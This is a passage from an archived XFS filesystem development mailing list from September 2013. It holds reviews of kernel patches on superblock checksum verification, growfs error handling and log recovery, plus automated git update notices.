xfs_sb_to_disk(XFS_BUF_TO_SBP(bp), &mp->m_sb, XFS_SB_ALL_BITS); > > - /* > - * If we get an error writing out the alternate superblocks, > - * just issue a warning and continue. The real work is > - * already done and committed. > - */ > error = xfs_bwrite(bp); > xfs_buf_relse(bp); > if (error) { > xfs_warn(mp, > "write error %d updating secondary superblock for ag %d", > error, agno); > - break; /* no point in continuing */ > + saved_error = error; > + continue; > } > } > - return error; > + return saved_error ? saved_error : error; > > error0: > xfs_trans_cancel(tp, XFS_TRANS_ABORT); > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From tinguely@sgi.com Mon Sep 9 15:38:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4E78C29DFB for ; Mon, 9 Sep 2013 15:38:02 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2B5A18F806F; Mon, 9 Sep 2013 13:37:59 -0700 (PDT) Message-ID: <522E31A6.7050509@sgi.com> Date: Mon, 09 Sep 2013 15:37:58 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 2/2] xfs: recovery of swap extents operations for CRC filesystems References: <1377822225-17621-1-git-send-email-david@fromorbit.com> <1377822225-17621-3-git-send-email-david@fromorbit.com> In-Reply-To: <1377822225-17621-3-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 08/29/13 19:23, Dave Chinner wrote: > From: Dave Chinner > > This is the recovery side of the btree block owner change operation > performed by swapext on CRC enabled filesystems. We detect that an > owner change is needed by the flag that has been placed on the inode > log format flag field. Because the inode recovery is being replayed > after the buffers that make up the BMBT in the given checkpoint, we > can walk all the buffers and directly modify them when we see the > flag set on an inode. > > Because the inode can be relogged and hence present in multiple > chekpoints with the "change owner" flag set, we could do multiple > passes across the inode to do this change. While this isn't optimal, > we can't directly ignore the flag as there may be multiple > independent swap extent operations being replayed on the same inode > in different checkpoints so we can't ignore them. > > Further, because the owner change operation uses ordered buffers, we > might have buffers that are newer on disk than the current > checkpoint and so already have the owner changed in them. Hence we > cannot just peek at a buffer in the tree and check that it has the > correct owner and assume that the change was completed. > > So, for the moment just brute force the owner change every time we > see an inode with the flag set. Note that we have to be careful here > because the owner of the buffers may point to either the old owner > or the new owner. Currently the verifier can't verify the owner > directly, so there is no failure case here right now. If we verify > the owner exactly in future, then we'll have to take this into > account. > ... Recovery of swap extent makes sense. Variable name, XFS_ILOG_DOWNER, gave me a chuckle but it is consistent with the other names. Really could use some recovery test for this. Did inode create recovery get a test? Reviewed-by: Mark Tinguely From tinguely@sgi.com Mon Sep 9 16:08:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 904AB7F5F for ; Mon, 9 Sep 2013 16:08:47 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3BA958F8052; Mon, 9 Sep 2013 14:08:44 -0700 (PDT) Message-ID: <522E38DB.4020408@sgi.com> Date: Mon, 09 Sep 2013 16:08:43 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Eric Sandeen CC: Eric Sandeen , "'linux-xfs@oss.sgi.com'" Subject: Re: [PATCH V2] xfs: be more forgiving of a v4 secondary sb w/ junk in v5 fields References: <520D1BA3.1050500@redhat.com> <20130815210018.GR6023@dastard> <520D44E7.1000905@sandeen.net> <520D592D.4040600@redhat.com> <522E3099.1040503@sandeen.net> In-Reply-To: <522E3099.1040503@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/09/13 15:33, Eric Sandeen wrote: > Today, if xfs_sb_read_verify encounters a v4 superblock > with junk past v4 fields which includes data in sb_crc, > it will be treated as a failing checksum and a significant > corruption. > > There are known prior bugs which leave junk at the end > of the V4 superblock; we don't need to actually fail the > verification in this case if other checks pan out ok. > > So if this is a secondary superblock, and the primary > superblock doesn't indicate that this is a V5 filesystem, > don't treat this as an actual checksum failure. > > We should probably check the garbage condition as > we do in xfs_repair, and possibly warn about it > or self-heal, but that's a different scope of work. > > Stable folks: This can go back to v3.10, which is what > introduced the sb CRC checking that is tripped up by old, > stale, incorrect V4 superblocks w/ unzeroed bits. > > Cc: stable@vger.kernel.org > Signed-off-by: Eric Sandeen > --- > > V2: Comment changes: More! (No code changes) > > diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c > index 2b0ba35..b2deab1 100644 > --- a/fs/xfs/xfs_mount.c > +++ b/fs/xfs/xfs_mount.c > @@ -749,6 +749,11 @@ xfs_sb_verify( > * single bit error could clear the feature bit and unused parts of the > * superblock are supposed to be zero. Hence a non-null crc field indicates that > * we've potentially lost a feature bit and we should check it anyway. > + * > + * However, past bugs (i.e. in growfs) left non-zeroed regions beyond the > + * last field in V4 secondary superblocks. So for secondary superblocks, > + * we are more forgiving, and ignore CRC failures if the primary doesn't > + * indicate that the fs version is V5. > */ > static void > xfs_sb_read_verify( > @@ -769,8 +774,12 @@ xfs_sb_read_verify( > > if (!xfs_verify_cksum(bp->b_addr, be16_to_cpu(dsb->sb_sectsize), > offsetof(struct xfs_sb, sb_crc))) { > - error = EFSCORRUPTED; > - goto out_error; > + /* Only fail bad secondaries on a known V5 filesystem */ > + if (bp->b_bn != XFS_SB_DADDR&& > + xfs_sb_version_hascrc(&mp->m_sb)) { > + error = EFSCORRUPTED; > + goto out_error; > + } > } > } > error = xfs_sb_verify(bp, true); This moved to fs/xfs/xfs_sb.c in TOT, but the patch looks good to me. Reviewed-by: Mark Tinguely From sandeen@sandeen.net Mon Sep 9 16:10:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 801C87F5F for ; Mon, 9 Sep 2013 16:10:29 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6CE19304051 for ; Mon, 9 Sep 2013 14:10:26 -0700 (PDT) X-ASG-Debug-ID: 1378761025-04cbb02c3ce69db0001-w1Z2WR Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id yXcHXdvLeuGjAEUj for ; Mon, 09 Sep 2013 14:10:25 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id CC92668B7203; Mon, 9 Sep 2013 16:10:24 -0500 (CDT) Message-ID: <522E393E.10902@sandeen.net> Date: Mon, 09 Sep 2013 16:10:22 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Mark Tinguely CC: Eric Sandeen , "'linux-xfs@oss.sgi.com'" Subject: Re: [PATCH V2] xfs: be more forgiving of a v4 secondary sb w/ junk in v5 fields References: <520D1BA3.1050500@redhat.com> <20130815210018.GR6023@dastard> <520D44E7.1000905@sandeen.net> <520D592D.4040600@redhat.com> <522E3099.1040503@sandeen.net> <522E38DB.4020408@sgi.com> X-ASG-Orig-Subj: Re: [PATCH V2] xfs: be more forgiving of a v4 secondary sb w/ junk in v5 fields In-Reply-To: <522E38DB.4020408@sgi.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1378761025 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140482 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 9/9/13 4:08 PM, Mark Tinguely wrote: > On 09/09/13 15:33, Eric Sandeen wrote: >> Today, if xfs_sb_read_verify encounters a v4 superblock >> with junk past v4 fields which includes data in sb_crc, >> it will be treated as a failing checksum and a significant >> corruption. >> >> There are known prior bugs which leave junk at the end >> of the V4 superblock; we don't need to actually fail the >> verification in this case if other checks pan out ok. >> >> So if this is a secondary superblock, and the primary >> superblock doesn't indicate that this is a V5 filesystem, >> don't treat this as an actual checksum failure. >> >> We should probably check the garbage condition as >> we do in xfs_repair, and possibly warn about it >> or self-heal, but that's a different scope of work. >> >> Stable folks: This can go back to v3.10, which is what >> introduced the sb CRC checking that is tripped up by old, >> stale, incorrect V4 superblocks w/ unzeroed bits. >> >> Cc: stable@vger.kernel.org >> Signed-off-by: Eric Sandeen >> --- >> >> V2: Comment changes: More! (No code changes) >> >> diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c >> index 2b0ba35..b2deab1 100644 >> --- a/fs/xfs/xfs_mount.c >> +++ b/fs/xfs/xfs_mount.c >> @@ -749,6 +749,11 @@ xfs_sb_verify( >> * single bit error could clear the feature bit and unused parts of the >> * superblock are supposed to be zero. Hence a non-null crc field indicates that >> * we've potentially lost a feature bit and we should check it anyway. >> + * >> + * However, past bugs (i.e. in growfs) left non-zeroed regions beyond the >> + * last field in V4 secondary superblocks. So for secondary superblocks, >> + * we are more forgiving, and ignore CRC failures if the primary doesn't >> + * indicate that the fs version is V5. >> */ >> static void >> xfs_sb_read_verify( >> @@ -769,8 +774,12 @@ xfs_sb_read_verify( >> >> if (!xfs_verify_cksum(bp->b_addr, be16_to_cpu(dsb->sb_sectsize), >> offsetof(struct xfs_sb, sb_crc))) { >> - error = EFSCORRUPTED; >> - goto out_error; >> + /* Only fail bad secondaries on a known V5 filesystem */ >> + if (bp->b_bn != XFS_SB_DADDR&& >> + xfs_sb_version_hascrc(&mp->m_sb)) { >> + error = EFSCORRUPTED; >> + goto out_error; >> + } >> } >> } >> error = xfs_sb_verify(bp, true); > > This moved to fs/xfs/xfs_sb.c in TOT, but the patch looks good to me. Whoops, sorry. Thanks for the review. Want a resend? (Any idea why your mail client eats spaces? "if (bp->b_bn != XFS_SB_DADDR&&" isn't in the original patch...) > Reviewed-by: Mark Tinguely Thanks, -Eric From tinguely@sgi.com Mon Sep 9 16:16:06 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 90AD17F55 for ; Mon, 9 Sep 2013 16:16:06 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5B06F8F804B; Mon, 9 Sep 2013 14:16:06 -0700 (PDT) Message-ID: <522E3A95.40309@sgi.com> Date: Mon, 09 Sep 2013 16:16:05 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Eric Sandeen CC: Eric Sandeen , "'linux-xfs@oss.sgi.com'" Subject: Re: [PATCH V2] xfs: be more forgiving of a v4 secondary sb w/ junk in v5 fields References: <520D1BA3.1050500@redhat.com> <20130815210018.GR6023@dastard> <520D44E7.1000905@sandeen.net> <520D592D.4040600@redhat.com> <522E3099.1040503@sandeen.net> <522E38DB.4020408@sgi.com> <522E393E.10902@sandeen.net> In-Reply-To: <522E393E.10902@sandeen.net> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit On 09/09/13 16:10, Eric Sandeen wrote: > On 9/9/13 4:08 PM, Mark Tinguely wrote: >> On 09/09/13 15:33, Eric Sandeen wrote: >>> Today, if xfs_sb_read_verify encounters a v4 superblock >>> with junk past v4 fields which includes data in sb_crc, >>> it will be treated as a failing checksum and a significant >>> corruption. >>> >>> There are known prior bugs which leave junk at the end >>> of the V4 superblock; we don't need to actually fail the >>> verification in this case if other checks pan out ok. >>> >>> So if this is a secondary superblock, and the primary >>> superblock doesn't indicate that this is a V5 filesystem, >>> don't treat this as an actual checksum failure. >>> >>> We should probably check the garbage condition as >>> we do in xfs_repair, and possibly warn about it >>> or self-heal, but that's a different scope of work. >>> >>> Stable folks: This can go back to v3.10, which is what >>> introduced the sb CRC checking that is tripped up by old, >>> stale, incorrect V4 superblocks w/ unzeroed bits. >>> >>> Cc: stable@vger.kernel.org >>> Signed-off-by: Eric Sandeen >>> --- >>> >>> V2: Comment changes: More! (No code changes) >>> >>> diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c >>> index 2b0ba35..b2deab1 100644 >>> --- a/fs/xfs/xfs_mount.c >>> +++ b/fs/xfs/xfs_mount.c >>> @@ -749,6 +749,11 @@ xfs_sb_verify( >>> * single bit error could clear the feature bit and unused parts of the >>> * superblock are supposed to be zero. Hence a non-null crc field indicates that >>> * we've potentially lost a feature bit and we should check it anyway. >>> + * >>> + * However, past bugs (i.e. in growfs) left non-zeroed regions beyond the >>> + * last field in V4 secondary superblocks. So for secondary superblocks, >>> + * we are more forgiving, and ignore CRC failures if the primary doesn't >>> + * indicate that the fs version is V5. >>> */ >>> static void >>> xfs_sb_read_verify( >>> @@ -769,8 +774,12 @@ xfs_sb_read_verify( >>> >>> if (!xfs_verify_cksum(bp->b_addr, be16_to_cpu(dsb->sb_sectsize), >>> offsetof(struct xfs_sb, sb_crc))) { >>> - error = EFSCORRUPTED; >>> - goto out_error; >>> + /* Only fail bad secondaries on a known V5 filesystem */ >>> + if (bp->b_bn != XFS_SB_DADDR&& >>> + xfs_sb_version_hascrc(&mp->m_sb)) { >>> + error = EFSCORRUPTED; >>> + goto out_error; >>> + } >>> } >>> } >>> error = xfs_sb_verify(bp, true); >> >> This moved to fs/xfs/xfs_sb.c in TOT, but the patch looks good to me. > > Whoops, sorry. Thanks for the review. Want a resend? Since Ben will do all the work, not necessary. ;) > > (Any idea why your mail client eats spaces? "if (bp->b_bn != XFS_SB_DADDR&&" isn't > in the original patch...) Dave mentioned that too before, I will check into it. --Mark. From david@fromorbit.com Mon Sep 9 17:08:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1EA3F7F55 for ; Mon, 9 Sep 2013 17:08:34 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id AFF1AAC002 for ; Mon, 9 Sep 2013 15:08:30 -0700 (PDT) X-ASG-Debug-ID: 1378764508-04cb6c2e9fe7a970001-w1Z2WR Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id l6l8EFBt40l1a8Yw for ; Mon, 09 Sep 2013 15:08:29 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArMGAKhFLlJ5Lapl/2dsb2JhbABbgweDSromhTeBJhd0giUBAQU6HCMQCAMYCSUPBSUDIROIAcMsFo4DgVIHhB0Dl3SRZ4MyKg Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail06.adl6.internode.on.net with ESMTP; 10 Sep 2013 07:38:27 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VJ9dA-000461-3l; Tue, 10 Sep 2013 08:08:24 +1000 Date: Tue, 10 Sep 2013 08:08:24 +1000 From: Dave Chinner To: Eric Sandeen Cc: Eric Sandeen , "'linux-xfs@oss.sgi.com'" Subject: Re: [PATCH, RFC] xfs: don't break from growfs ag update loop on error Message-ID: <20130909220824.GV12779@dastard> X-ASG-Orig-Subj: Re: [PATCH, RFC] xfs: don't break from growfs ag update loop on error References: <520D1AAC.8090701@redhat.com> <522E3142.7090501@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <522E3142.7090501@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1378764508 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=COMMA_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140483 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 COMMA_SUBJECT Subject is like 'Re: FDSDS, this is a subject' On Mon, Sep 09, 2013 at 03:36:18PM -0500, Eric Sandeen wrote: > On 8/15/13 1:15 PM, Eric Sandeen wrote: > > When xfs_growfs_data_private() is updating backup superblocks, > > it bails out on the first error encountered, whether reading or > > writing: > > Any thoughts on this one? W/ the verifiers, we have a higher > chance of encountering an error, and leaving the rest of the > supers un-updated. Repair will then possibly revert the fs to > it's pre-growfs state, and data loss will ensue... Sorry, I must have missed this. I remember discussing it with you. The change looks fine to me, but I haven't tested it at all. Acked-by: Dave Chinner Cheers, Dave. -- Dave Chinner david@fromorbit.com From bpm@sgi.com Mon Sep 9 17:50:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9FED27F55 for ; Mon, 9 Sep 2013 17:50:30 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 87A698F8059; Mon, 9 Sep 2013 15:50:27 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 5704B4266DC; Mon, 9 Sep 2013 17:50:27 -0500 (CDT) Date: Mon, 9 Sep 2013 17:50:27 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/2] xfs: fix endian warning in xlog_recover_get_buf_lsn() Message-ID: <20130909225027.GQ1935@sgi.com> References: <1378092179-24973-1-git-send-email-david@fromorbit.com> <1378092179-24973-2-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1378092179-24973-2-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Mon, Sep 02, 2013 at 01:22:58PM +1000, Dave Chinner wrote: > From: Dave Chinner > > sparse reports: > > fs/xfs/xfs_log_recover.c:2017:24: sparse: cast to restricted __be64 > > Because I used the wrong structure for the on-disk superblock cast > in 50d5c8d ("xfs: check LSN ordering for v5 superblocks during > recovery"). Fix it. > > Reported-by: kbuild test robot > Signed-off-by: Dave Chinner Applied. From bpm@sgi.com Mon Sep 9 17:50:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A0F7E7F66 for ; Mon, 9 Sep 2013 17:50:43 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7A1A48F8059; Mon, 9 Sep 2013 15:50:43 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 504F34266DC; Mon, 9 Sep 2013 17:50:43 -0500 (CDT) Date: Mon, 9 Sep 2013 17:50:43 -0500 From: Ben Myers To: Dave Chinner Cc: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [PATCH 2/2 v2] xfs: fix some minor sparse warnings Message-ID: <20130909225043.GR1935@sgi.com> References: <1378092179-24973-1-git-send-email-david@fromorbit.com> <1378092179-24973-3-git-send-email-david@fromorbit.com> <20130902081954.GD11210@infradead.org> <20130902100957.GE12779@dastard> <20130902104936.GG12779@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130902104936.GG12779@dastard> User-Agent: Mutt/1.5.20 (2009-06-14) On Mon, Sep 02, 2013 at 08:49:36PM +1000, Dave Chinner wrote: > xfs: fix some minor sparse warnings > > From: Dave Chinner > > A couple of simple locking annotations and 0 vs NULL warnings. > Nothing that changes any code behaviour, just removes build noise. > > Signed-off-by: Dave Chinner > Reviewed-by: Christoph Hellwig Applied. From bpm@sgi.com Mon Sep 9 17:51:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 00C817F55 for ; Mon, 9 Sep 2013 17:51:37 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7FF6BAC008; Mon, 9 Sep 2013 15:51:37 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 26D674266DC; Mon, 9 Sep 2013 17:51:37 -0500 (CDT) Date: Mon, 9 Sep 2013 17:51:37 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH v2] xfs: check magic numbers in dir3 leaf verifier first Message-ID: <20130909225137.GS1935@sgi.com> References: <1378119020-31299-1-git-send-email-david@fromorbit.com> <20130903000658.GJ12779@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130903000658.GJ12779@dastard> User-Agent: Mutt/1.5.20 (2009-06-14) On Tue, Sep 03, 2013 at 10:06:58AM +1000, Dave Chinner wrote: > xfs: check magic numbers in dir3 leaf verifier first > > From: Dave Chinner > > Calling xfs_dir3_leaf_hdr_from_disk() in a verifier before > validating the magic numbers in the buffer results in ASSERT > failures due to mismatching magic numbers when a corruption occurs. > Seeing as the verifier is supposed to catch the corruption and pass > it back to the caller, having the verifier assert fail on error > defeats the purpose of detecting the errors in the first place. > > Check the magic numbers direct from the buffer before decoding the > header. > > Signed-off-by: Dave Chinner Cleaned up the spurious newline and applied. From bpm@oss.sgi.com Mon Sep 9 17:54:18 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id BCACA7F62; Mon, 9 Sep 2013 17:54:18 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, master, updated. xfs-for-linus-v3.12-rc1-3-g0f295a2 X-Git-Refname: refs/heads/master X-Git-Reftype: branch X-Git-Oldrev: 1d03c6fa88af35e55047a1f2ab116f0fdf2f55aa X-Git-Newrev: 0f295a214bb7658ca37bd61a8a1f0cd4a9d86c1f Message-Id: <20130909225418.BCACA7F62@oss.sgi.com> Date: Mon, 9 Sep 2013 17:54:18 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, master has been updated 0f295a2 xfs: check magic numbers in dir3 leaf verifier first a30b036 xfs: fix some minor sparse warnings e9fbbad xfs: fix endian warning in xlog_recover_get_buf_lsn() from 1d03c6fa88af35e55047a1f2ab116f0fdf2f55aa (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 0f295a214bb7658ca37bd61a8a1f0cd4a9d86c1f Author: Dave Chinner Date: Tue Sep 3 10:06:58 2013 +1000 xfs: check magic numbers in dir3 leaf verifier first Calling xfs_dir3_leaf_hdr_from_disk() in a verifier before validating the magic numbers in the buffer results in ASSERT failures due to mismatching magic numbers when a corruption occurs. Seeing as the verifier is supposed to catch the corruption and pass it back to the caller, having the verifier assert fail on error defeats the purpose of detecting the errors in the first place. Check the magic numbers direct from the buffer before decoding the header. Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig Signed-off-by: Ben Myers commit a30b0367978f75a2659c71b33739e5e445a363c8 Author: Dave Chinner Date: Mon Sep 2 20:49:36 2013 +1000 xfs: fix some minor sparse warnings A couple of simple locking annotations and 0 vs NULL warnings. Nothing that changes any code behaviour, just removes build noise. Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig Signed-off-by: Ben Myers commit e9fbbad8d8b2cbd6df7f237e0b4de02d63837ce1 Author: Dave Chinner Date: Mon Sep 2 13:22:58 2013 +1000 xfs: fix endian warning in xlog_recover_get_buf_lsn() sparse reports: fs/xfs/xfs_log_recover.c:2017:24: sparse: cast to restricted __be64 Because I used the wrong structure for the on-disk superblock cast in 50d5c8d ("xfs: check LSN ordering for v5 superblocks during recovery"). Fix it. Reported-by: kbuild test robot Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_bmap.c | 2 +- fs/xfs/xfs_dir2_leaf.c | 20 +++++++++++++------- fs/xfs/xfs_dquot_item.c | 3 ++- fs/xfs/xfs_extent_busy.c | 3 ++- fs/xfs/xfs_ioctl.c | 2 +- fs/xfs/xfs_itable.c | 5 +++-- fs/xfs/xfs_log.c | 3 ++- fs/xfs/xfs_log_recover.c | 2 +- 8 files changed, 25 insertions(+), 15 deletions(-) hooks/post-receive -- XFS development tree From bpm@oss.sgi.com Mon Sep 9 17:54:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id 27A2A7F6B; Mon, 9 Sep 2013 17:54:28 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-next, updated. xfs-for-linus-v3.12-rc1-3-g0f295a2 X-Git-Refname: refs/heads/for-next X-Git-Reftype: branch X-Git-Oldrev: 1d03c6fa88af35e55047a1f2ab116f0fdf2f55aa X-Git-Newrev: 0f295a214bb7658ca37bd61a8a1f0cd4a9d86c1f Message-Id: <20130909225428.27A2A7F6B@oss.sgi.com> Date: Mon, 9 Sep 2013 17:54:27 -0500 